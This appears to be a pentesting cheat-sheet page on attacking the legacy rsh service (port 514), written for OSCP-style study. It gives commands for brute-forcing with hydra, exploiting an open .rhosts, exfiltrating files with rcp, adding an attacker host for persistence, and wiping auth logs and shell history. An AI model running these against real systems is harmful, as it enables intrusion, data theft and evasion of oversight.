> For the complete documentation index, see [llms.txt](https://www.verylazytech.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.verylazytech.com/network-pentesting/rsh-port-514.md).

# Rsh - Port 514

{% tabs %}
{% tab title="Support VeryLazyTech 🎉" %}
Become VeryLazyTech [**member**](https://shop.verylazytech.com/l/Membership)**! 🎁**

* **Follow** us on:
  * **✖ Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
  * **👾 Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
  * **📜 Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
  * **📺 YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
  * **📩 Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
  * **🕵️‍♂️ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses. 📚
  {% endtab %}
  {% endtabs %}

## Basic Info <a href="#basic-information" id="basic-information"></a>

For authentication, **.rhosts** files along with **/etc/hosts.equiv** were utilized by **Rsh**. Authentication was dependent on IP addresses and the Domain Name System (DNS). The ease of spoofing IP addresses, notably on the local network, was a significant vulnerability.

Moreover, it was common for the **.rhosts** files to be placed within the home directories of users, which were often located on Network File System (NFS) volumes.

**Default port**: 514

## Login <a href="#login" id="login"></a>

```
rsh <IP> <Command>
rsh <IP> -l domain\user <Command>
rsh domain/user@<IP> <Command>
rsh domain\\user@<IP> <Command>
```

***

## Attack Vectors[​](https://hackviser.com/tactics/pentesting/services/rsh#attack-vectors) <a href="#attack-vectors" id="attack-vectors"></a>

### Exploiting Weak Authentication[​](https://hackviser.com/tactics/pentesting/services/rsh#exploiting-weak-authentication) <a href="#exploiting-weak-authentication" id="exploiting-weak-authentication"></a>

Check for weak authentication mechanisms. RSH often relies on the `.rhosts` file for authentication, which can be easily exploited if not properly configured.

### Brute Force Attacks[​](https://hackviser.com/tactics/pentesting/services/rsh#brute-force-attacks) <a href="#brute-force-attacks" id="brute-force-attacks"></a>

You can perform brute-force attacks to guess weak passwords using tools like `hydra`:

```
hydra -l <username> -P /path/to/passwords.txt <target_ip> rsh
```

This command attempts to brute-force the specified RSH server.

### Exploiting Misconfigurations[​](https://hackviser.com/tactics/pentesting/services/rsh#exploiting-misconfigurations) <a href="#exploiting-misconfigurations" id="exploiting-misconfigurations"></a>

Look for misconfigured `.rhosts` files that allow unauthorized access. For example, a `.rhosts` file with the following entry can be exploited:

```
+ +
```

This entry allows any user from any host to log in without a password.

***

## Post-Exploitation[​](https://hackviser.com/tactics/pentesting/services/rsh#post-exploitation) <a href="#post-exploitation" id="post-exploitation"></a>

### Privilege Escalation[​](https://hackviser.com/tactics/pentesting/services/rsh#privilege-escalation) <a href="#privilege-escalation" id="privilege-escalation"></a>

After gaining access, attempt to escalate privileges to a higher-level account. One common method is to search for SUID binaries:

```
rsh <remote-server-ip> -l <username> find / -perm -4000 -type f 2>/dev/null
```

This command lists all SUID binaries, which could potentially be exploited for privilege escalation.

### Data Exfiltration[​](https://hackviser.com/tactics/pentesting/services/rsh#data-exfiltration) <a href="#data-exfiltration" id="data-exfiltration"></a>

Once you have access, you can exfiltrate data from the remote machine. For example, you can copy files using the `rcp` (remote copy) command:

```
rcp <remote-server-ip>:<remote-file-path> <local-file-path>
```

### Persistent Access[​](https://hackviser.com/tactics/pentesting/services/rsh#persistent-access) <a href="#persistent-access" id="persistent-access"></a>

To maintain persistent access, you can add your SSH key to the `~/.ssh/authorized_keys` file or modify the `.rhosts` file to allow your host:

```
echo "attacker-ip attacker-user" >> ~/.rhosts
```

This entry grants login permissions to the specified user on the attacker's IP address.

### Covering Tracks[​](https://hackviser.com/tactics/pentesting/services/rsh#covering-tracks) <a href="#covering-tracks" id="covering-tracks"></a>

It's crucial to cover your tracks to avoid detection. You can delete log entries related to your activities:

```
rsh <remote-server-ip> -l <username> echo "" > /var/log/auth.log
rsh <remote-server-ip> -l <username> history -c
```

These commands clear the authentication log and command history.

***

{% hint style="success" %}
Learn & practice [**For the OSCP.**](https://shop.verylazytech.com/)

<details>

<summary>Support VeryLazyTech 🎉</summary>

Become VeryLazyTech [**member**](https://shop.verylazytech.com/l/Membership)**! 🎁**

* **Follow** us on:
  * **✖ Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
  * **👾 Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
  * **📜 Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
  * **📺 YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
  * **📩 Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
  * **🕵️‍♂️ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses. 📚

</details>
{% endhint %}